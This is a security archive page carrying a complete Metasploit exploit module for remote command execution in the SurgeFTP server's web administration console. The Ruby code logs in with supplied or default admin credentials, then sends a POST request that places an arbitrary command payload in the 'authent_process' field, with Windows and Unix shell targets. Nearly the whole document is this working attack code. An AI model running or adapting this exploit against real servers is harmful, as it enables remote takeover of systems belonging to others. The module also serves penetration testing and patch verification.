what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SurgeFTP Remote Command Execution

SurgeFTP Remote Command Execution
Posted Dec 20, 2012
Authored by Spencer McIntyre | Site metasploit.com

This Metasploit module exploits a flaw in the SurgeFTP server's web-based administrative console to execute arbitrary commands.

tags | exploit, web, arbitrary
SHA-256 | 9c5497a6325d67d7f481c7eb716e3d3140096da4260b045df2ab7396b276dad6

SurgeFTP Remote Command Execution

Change Mirror Download
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'SurgeFTP Remote Command Execution',
'Description' => %q{
This module exploits a flaw in the SurgeFTP server's web-based
administrative console to execute arbitary commands.
},
'Author' =>
[
'Spencer McIntyre',
],
'License' => MSF_LICENSE,
'References' =>
[
],
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win'],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
},
'Targets' =>
[
[ 'Windows', { 'modifier' => "%s" }, ],
[ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 06 2012'))

register_options(
[
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
], self.class)

end

def exploit
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
command = target['modifier'] % payload.encoded
print_status("Invoking command")

res = send_request_cgi(
{
'uri' => '/cgi/surgeftpmgr.cgi',
'method' => 'POST',
'headers' =>
{
'Authorization' => "Basic #{user_pass}",
},
'vars_post' =>
{
'global_smtp' => "",
'global_restart' => "",
'global_style' => "",
'global_bind' => "",
'global_passive_ip' => "",
'global_passive_match' => "",
'global_logon_mode' => "",
'global_log_host' => "",
'global_login_error' => "",
'global_adminip' => "",
'global_total_users' => "",
'global_con_perip' => "",
'global_ssl' => "",
'global_ssl_cipher_list' => "",
'global_implicit_port' => "",
'log_level' => "",
'log_home' => "",
'global_watcher_program_ul' => "",
'global_watcher_program_dl' => "",
'authent_process' => command,
'authent_cmdopts' => "",
'authent_number' => "",
'authent_domain' => "",
'global_strip_user_domain' => "",
'global_noclass' => "",
'global_anon_hammer_over_time' => "",
'global_anon_hammer_max' => "",
'global_anon_hammer_block_time' => "",
'global_port' => "",
'global_mgr_port' => "",
'global_mgr_ssl_port' => "",
'cmd_global_save.x' => "36",
'cmd_global_save.y' => "8",
}
})

if not (res and res.code == 200)
print_error("Failed to execute command")
else
print_status("Done")
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close